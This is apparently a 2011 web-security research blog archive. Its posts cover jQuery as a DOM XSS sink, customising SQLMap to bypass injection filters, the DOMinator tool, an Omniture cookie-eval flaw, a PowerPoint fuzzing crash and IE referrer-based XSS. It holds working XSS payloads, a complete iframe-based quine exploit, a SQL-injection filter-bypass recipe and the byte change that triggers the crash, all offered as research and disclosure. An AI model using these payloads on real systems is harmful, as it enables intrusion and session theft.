Thursday, July 28, 2011

jQuery is a Sink!

What's a Sink in Application Security?
A sink can be described as a function or method that is potentially dangerous when it's (unexpectedly) called or if one of its arguments, coming from an untrusted input, is not correctly escaped according to the layer the function is going to communicate to.

The jQuery Sink
Suppose we have the following code:
var aVar=location.hash;
jQuery(aVar);

By looking at the DOMinator output, you'll see something like the following:

That means the jQuery, or its alias '$', method is trying to understand if hash contains some tags. In particular part of the JavaScript stack trace will be similar to the following:

4 14:44:40.306 :[ http://host/jQueryTest.html#aaaaa ]
Target: [ exec(^(?:[^<]*(<[\w\W]+>)[^>]*$|#([\w\-]+)$)) CallCount: 1 ]
Data:
+ #aaaaaa
http://host/jquery-1.4.3
,Line:19
,1: function (selector, context) {
2: var match, elem, ret, doc;
3: if (!selector) {
4: return this;
5: }
6: if (selector.nodeType) {
7: this.context = this[0] = selector;
8: this.length = 1;
9: return this;
10: }
11: if (selector === "body" && !context && document.body) {
12: this.context = document;
13: this[0] = document.body;
14: this.selector = "body";
15: this.length = 1;
16: return this;
17: }
18: if (typeof selector === "string") {
19: match = quickExpr.exec(selector);
20: if (match && (match[1] || !context)) {
21: if (match[1])
...


So, by trying to put #<img/src/onerror=alert(1)> in the hash part, we'll see the following alert on DOMinator:
12 14:44:40.364 :[ http://host/jQueryTest.html ]
Target: [ DIV.innerHTML CallCount: 1 ]
Data:
+ <img src="" onerror="alert(1)" />
+ Stack Trace
http://host/jquery-1.4.3
,Line:20
,1: function (elems, context, fragment, scripts) {
2: context = context || document;
3: if (typeof context.createElement === "undefined") {
4: context = context.ownerDocument ||
5: context[0] && context[0].ownerDocument || document;
6: }
7: var ret = [];
8: for (var i = 0, elem; (elem = elems[i]) != null; i++) {
9: if (typeof elem === "number") {
10: elem += "";
11: }
12: if (!elem) {
13: continue;
14: }
15: if (typeof elem === "string" && !rhtml.test(elem)) {
16: elem = context.createTextNode(elem);
17: } else if (typeof elem === "string") {
18: elem = elem.replace(rxhtmlTag, "<$1>");
19: var tag = (rtagName.exec(elem) || ["", ""])[1].toLowerCase(), wrap = wrapMap[tag] || wrapMap._default, depth = wrap[0], div = context.createElement("div");
20: div.innerHTML = wrap[1] + elem + wrap[2];
21: while (depth--) {
22: div = div.lastChild;
23: }
.....

Which means that if the arguments of jQuery contains some kind of tag it'll be rendered using innerHTML, resulting in a potential DOM Based Xss.

Countermeasures
If you have to use some untrusted input, Data Validation and Output encoding should be performed before using it as a jQuery argument.

Wednesday, July 6, 2011

Athcon 2011 - Presentation

Athcon conference was really good and I had a wonderful time there.

My presentation was about Enterprise Sharing Portal (e.g. Microsoft Sharepoint, J2ee Liferay Portal) and the bad practice to not securing them enough before exposing them to the public. Unfortunately this ugly scenario is very frequent also for Sharepoint and Liferay portals which are exposed to the internet.

And more important, more and more frequently, Sharing Portals are the frameworks (that YOU ARE NOT aware of) that run your internet website! ... and they could even bridge external attacks to the Intranet

You can find it here:

http://www.mindedsecurity.com/fileshare/Fedon_Athcon_June11.pdf

Saturday, May 28, 2011

Customizing SQLMap to bypass weak (but effective) input filters

SQLMap is the most flexible Sql injection tool I have ever seen: written in python, opensource and fully customizable. Many times during penetration testing activities you will face the need to customize SQLMap.

In the following example the tool is not able to extract any data in it's default configuration since the application is filtering some particular characters.

Let's consider the following URL, where "id" parameter is known to the tester to be vulnerable. Website Url vulnerable to SQL injection:
https://www.bank.ok/injection.aspx?id=1%2b1


Codebehind in "injection.aspx.vb":
-------
string id = Request.Get("id")
id =
id.Replace("'","").Replace('"',''),Replace('<','').Replace('>','').Replace('=','')
Sql.execute("SELECT * FROM articles where article_id =" + id)
-------
Problem:

Even if data validation is not neat, it limits for sure standard pentesting tools. As we can see from SQLMap logs, bisection algorithm cannot work if the ">" character is filtered. In addition initial checks will not be able to discover that "id" parameter is injectable.

For example the following request will fail:
./sqlmap.py -u "https://www.bank.ok/injection.aspx?id=5" -p "id" --dbs
--dbms=mssql --string="This article is about politics"

Output: Error!

Solution:

To customize SqlMap for our purposes we need to accomplish 3 steps:
1) Disable all internal checks that are performed to see if a parameter
is injectable;
2) Tune Database checks;
3) Rewrite blind queries without filtered chars (in this case "<", ">"
and "=" );


1) To disable initial checks if you already know that a parameter is injectable, locate the following file in SQLMap tree: sqlmap/lib/controller/checks.py

This addition makes SQLmap skipping the control for checking if the
parameter is injectable or not. Since we already know that the parameter is injectable, we make SQLmap skip this check.

Added the following line at line "98"
-> return "numeric"

After that is important to skip database check:
2) Locate file: sqlmap/plugins/dbms/mssqlserver.py

After checking if the parameter is injectable, SQL map checks if the database is correct
or not. For Example if we already know that the database is MSSQL because of the "convert()" check.

We can skip this check as well:

Modified the following line at line "233"
else:
setDbms("Microsoft SQL Server")
self.getBanner()
kb.os = "Windows"
return True

3) To rewrite the logic behind inference, locate the following file
File: sqlmap/xml/queries.xml
In the following scenario I have rewritten Queries for MSSQL Server.

In particular "=" character sobstituted with "like" operator and changed ">" comparison via "between ... and", since the application filters the following chatacter set: = (equal
sign), < (left angle bracket),> (right angle bracket), " (double quote) and ' (single quote).



<inference query="+ CASE WHEN (ASCII(SUBSTRING((%s), %d, 1))) BETWEEN

%d+1 AND 500

THEN 0 ELSE 1 END--"/>

...

<blind query="SELECT %s..syscolumns.name FROM %s..syscolumns, %s..sysobjects
WHERE %s..syscolumns.id LIKE %s..sysobjects.id AND %s..sysobjects.name
LIKE '%s'"
query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,
%s..sysobjects WHERE
%s..syscolumns.name LIKE '%s' AND %s..syscolumns.id LIKE
%s..sysobjects.id AND
%s..sysobjects.name LIKE '%s'" count="SELECT LTRIM(STR(COUNT(name)))
FROM %s..syscolumns
WHERE id LIKE (SELECT id FROM %s..sysobjects WHERE name LIKE '%s')"
condition="[DB]..syscolumns.name"/>


The following command will now work. It will skip parameter injection test and will perform blind queries without using the filtered characters:

Command:

./sqlmap.py -u "https://www.bank.ok/injection.aspx?id=5" -p "id" --dbs

--dbms=mssql --string="This article is about politics"


Databases:

[1 entry]
+----------+
| Politics |
+----------+

Wednesday, May 18, 2011

The DOMinator Project

Update : DOMinator goes Pro and is now available at the following here

Finally DOMinator is public!


What is DOMinator?
DOMinator is a Firefox based software for analysis and identification of DOM Based Cross Site Scripting issues (DOMXss).
It is the first runtime tool which can help security testers to identify DOMXss.

How it works?

It uses dynamic runtime tainting model on strings and can trace back taint propagation operations in order to understand if a DOMXss vulnerability is actually exploitable.

You can have an introduction about the implementation flow and some interface description here

What are the possibilities?

In the topics of DOMXss possibilities are quite infinite.
At the moment DOMinator can help in identifying reflected DOM Based Xss, but there is potential to extend it to stored DOMXss analysis.

Download

Start from the installation instructions then have a look at the video.
Use the issues page to post about problems crashes or whatever.
And finally subscribe to the DOMinator Mailing List to get live news.

Video
A video has been uploaded here to show how it works.
Here's the video:


Soon I'll post more tutorials about the community version.


Some stats about DOM Xss

We downloaded top Alexa 1 million sites and analyzed the first 100 in order to verify the presence of exploitable DOM Based Cross Site Scripting vulnerabilities.
Using DOMinator we found that 56 out of 100 (56% of sites) were vulnerable to reliable DOMXss attacks.
Some analysis example can be found here and here.
We'll release a white paper about this research, in the meantime you can try to reach our results using DOMinator.

Future work

DOMinator is still in beta stage but I see a lot of potential in this project.
For example I can think about:
  • Dominator library (Spidermonkey) used in web security scanners project
  • for automated batch testing.
  • Logging can be saved in a DB and lately analyzed.
  • Per page testing using Selenium/iMacros.
  • A version of DOMinator for xulrunner.
  • A lot more
It only depends on how many people will help me in improving it.

So, if you're interested in contributing in the code (or in funding the project) let me know, I'll add you to the project contributors.
We have some commercial ideas about developing a more usable interface with our knowledge base but we can assure you that the community version will always be open and free.

In the next few days I'll release a whitepaper about DOMinator describing the implementation choices and the technical details.

Stay tuned for more information about DOMinator..the best is yet to come.

Acknowledgements
DOMinator is a project sponsored by Minded Security, created and maintainted by me (Stefano Di Paola).
I al want to thank Arshan Dabirsiaghi (Aspect Security), Gareth Heyes and Luca Carettoni (Matasano) for their feedback on the pre-pre-beta version :)

Finally, feel free to follow DOMinator news on Twitter as well by subscribing to @WisecWisec and @DOMXss.

Friday, April 29, 2011

God Save The (Omniture) Quine

Some weeks ago, while testing a website hosted by a client of ours with DOMinator, I found that an Omniture Catalyst plugin called crossVisitParticipation used an eval on a cookie value.
It was a typical 'eval(cookieValue)' which is bad from a security perspective, but there is
something more interesting which made me think to write a post about it, since the attack vector was kind of advanced and the model here is different from "traditional" mashups.
In fact in the Omniture case, companies have to save an auto generated JS and host it on their own websites.
This means updates are directly tied to a local site administration policy, and no real time update is possible.

Long story short, I found out it's possible for some versions of crossVisitParticipation plugin
to overwrite the cookie in a way it's possible to let the eval do whatever an attacker
wants abusing the query string.
Let's have a look at the vulnerable code:

// function crossVisitParticipation
1: function anonymous(v, cn, ex, ct, dl, ev) {
2: var s = this;
3: var ay = s.split(ev, ",");
4: for (var u = 0; u < ay.length; u++) {
5: if (s.events && s.events.indexOf(ay[u]) != -1) {
6: s.c_w(cn, "");
7: return "";
8: }
9: }
10: if (!v || v == "") {
11: return "";
12: }
13: var arry = new Array;
14: var a = new Array;
15: var c = s.c_r(cn);
16: var g = 0;
17: var h = new Array;
18: if (c && c != "") {
19: arry = eval(c); // Sink Here from Cookie Value!!
20: }
21: var e = new Date;
22: e.setFullYear(e.getFullYear() + 5);
23: if (arry.length > 0 && arry[arry.length - 1][0] == v) {
24: arry[arry.length - 1] = [v, (new Date).getTime()];
25: } else {
26: arry[arry.length] = [v, (new Date).getTime()];
27: }
28: var data = s.join(arry, {delim: ",", front: "[", back: "]", wrap: "'"});
29: var start = arry.length - ct < 0 ? 0 : arry.length - ct;
30: s.c_w(cn, data, e); // after eval'ed it's rewritten in form of cookie.
31: for (var x = start; x < arry.length; x++) {
32: var diff = Math.round(new Date - new Date(parseInt(arry[x][1]))) / 86400000; 33: if (diff < ex) {
34: h[g] = arry[x][0];
35: a[g++] = arry[x];
36: }
37: }
38: var r = s.join(h, {delim: dl});
39: return r;
40: }

which is called from another method:

if(!b.campaign){
b.campaign=b.getQueryParam("cid");
b.campaign=b.getValOnce(b.campaign,"ecamp",0)
}
b.eVar14=b.crossVisitParticipation(b.campaign,"s_cpm","90","5",">","purchase");

Even if, by digging into all versions, I found that only crossVisitParticipation plugin version <1.4 seems to be directly exploitable from the query string, I also found that some big sites in top 100k Alexa are still vulnerable.
That said, from my (app sec researcher) point of view I can see something interesting, which is the attack vector.
Easily, an attacker could use a simple one time injection like the following:

//The correct parameter depends on the Omniture user, so let's suppose as seen in the code "cid" parameter is the one:
http://omnitureClientHost/?#cid=aa'+alert(1)+'

but since the cookie is rewritten (Line 30) using the eval'ed object the attacker would loose the payload. So we can actually create something that after it's eval'ed it'll be he same, also called a (Javascript) Quine.
My favourite source is sla.ckers.org, and a wonderful quine thread is here. So I just needed to understand the principles of Js Quines and I finally made a working one for this specific case.
In the Omniture case an attacker needs to add the quine in the cookie and then force the eval using a new value for the cid:

<script>
function go(){

var if2=document.getElementById("x2");
if2.onload=go2
if2.src="http://xxx/?&#&cid=143'+(_=/[,\"'+(_=\"+_+_(_,alert(document.domain)))+']+/,\"'+(_=\"+_+_(_,alert(document.domain)))+'sss&aa=ddddeee"
}
function go2(){
var if2=document.getElementById("x");
if2.src="http://xxx/?&cid=143"+Math.random()
}
</script>
<body onload='go()'>
<iframe id='x' src="about:blank"></iframe>
<iframe id='x2' src="about:blank" ></iframe>


The attack vector will be firstly executed and then rewritten each time as it is as each quine should do.
So every time the victim will visit the vulnerable site with a new cid the Xss will be triggered.

As a side note we can see in the Omniture code, line 24, that the value of b.campaign is directly added to the cookie;
versions >=1.4 use v=escape(v) which blocks any direct attack from the query string.

BTW, this issue was found using my next to release tool DOMinator - DOMXss finder.
Stay tuned for news about it.


PS. I know is not really clear for faint of heart JS DOM Xss noobs, but sites out there are still vulnerable, sooo..keep researching and you'll discover the magic of this brand new DOMXss world.

PPS. Tom Keetch (@tkeetch) publicly released an advisory
concerning an Omniture attack using Cookie Forcing
by Chris Evans (@scarybeasts).
This attack can be achieved in Man in the Middle or shared browser Kiosk situations.
My research is mostly focused to remotely exploitable stuff, but in this case the quine can be, obviously, applied to this as well, so kudos to Tom and Chris for finding this, doable even if less reliable, attack scenario.

PPPS. Adobe Omniture released a new version (1.7) of the plugin which should mitigate any attack against it, so you're invited to upgrade it. And, please, start thinking about 3rd party JS as worth of risk identification.

Wednesday, April 13, 2011

More about Microsoft Office "Patch" Tuesday (MS11-022)

While fuzzing I found some Microsoft Office 0days... a couple of these where likely patched yesterday . Note: I didnt' reported the issues myself because I was still in doing my research.

Incredible how mutational fuzzing may disclosure new vulnerabilities and issues: to reproduce the one apparently related to Powerpoint "TimeColorBehaviorContainer" find the following structure in a Microsoft Powerpoint file with animations enabled:

0F 00 3D F1 00 00 00 00 00

and modify the structure like the following one:


0F 00 2E F1 00 00 00 00 00

This exception may be expected and handled.
eax=0594b13f ebx=00000000 ecx=045c1ea0 edx=00010001 esi=df9e0005 edi=00000000
eip=3012b8cd esp=00134c38 ebp=00134c5c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210206
ppcore!PPMain+0x25f55:
3012b8cd 8b06            mov     eax,dword ptr [esi]
....

call eax (dword ptr [esi] is tainted.)



For a crash example I have attached a sample.

http://www.mindedsecurity.com/fileshare/timecontainer_crash.ppt

Monday, March 28, 2011

Abusing Referrer on Explorer for Referrer based DOM Xss

I don't really know if this is actually known, but I thought it was worth writing.

In a few words
:
While other browsers do not allow particular charaters in sub domains, IE does. Hence it's possible to abuse that behavior to exploit referrer based DOM Xss.

Some more words about it:
I was doing some testing using DOMInator (a yet-to-release tool for finding DOM Based Xss) and I saw a JavaScript snippet doing the following:

with(document)
write('<sc'+"ript src="http://Host/image.gif?t="+c+"r="+(referrer.split("/")[2])+"></sc"+'ript>'); //updated to match host only referrer

Immediately some question came to me: « Is it actually exploitable? Do any browser allow HTML special characters in subdomain, like '">heyThere.mindedsecurity.com? »
After testing some browser I saw that Internet Explorer does allow them.

So we set up a DNS which always returns the same IP no matter what subdomain is requested.

That means that it's possible for an attacker to request
"onreadystatechange=eval(name).attacker.com and use it to abuse IE host behavior and exploit
pages vulnerable to DOM Based Cross Site Scripting via referrer.

Nota Bene: At the moment the wildcard DNS is private. But we'll release
a basic service to test referrer based DOMXss. So, stay tuned for updates.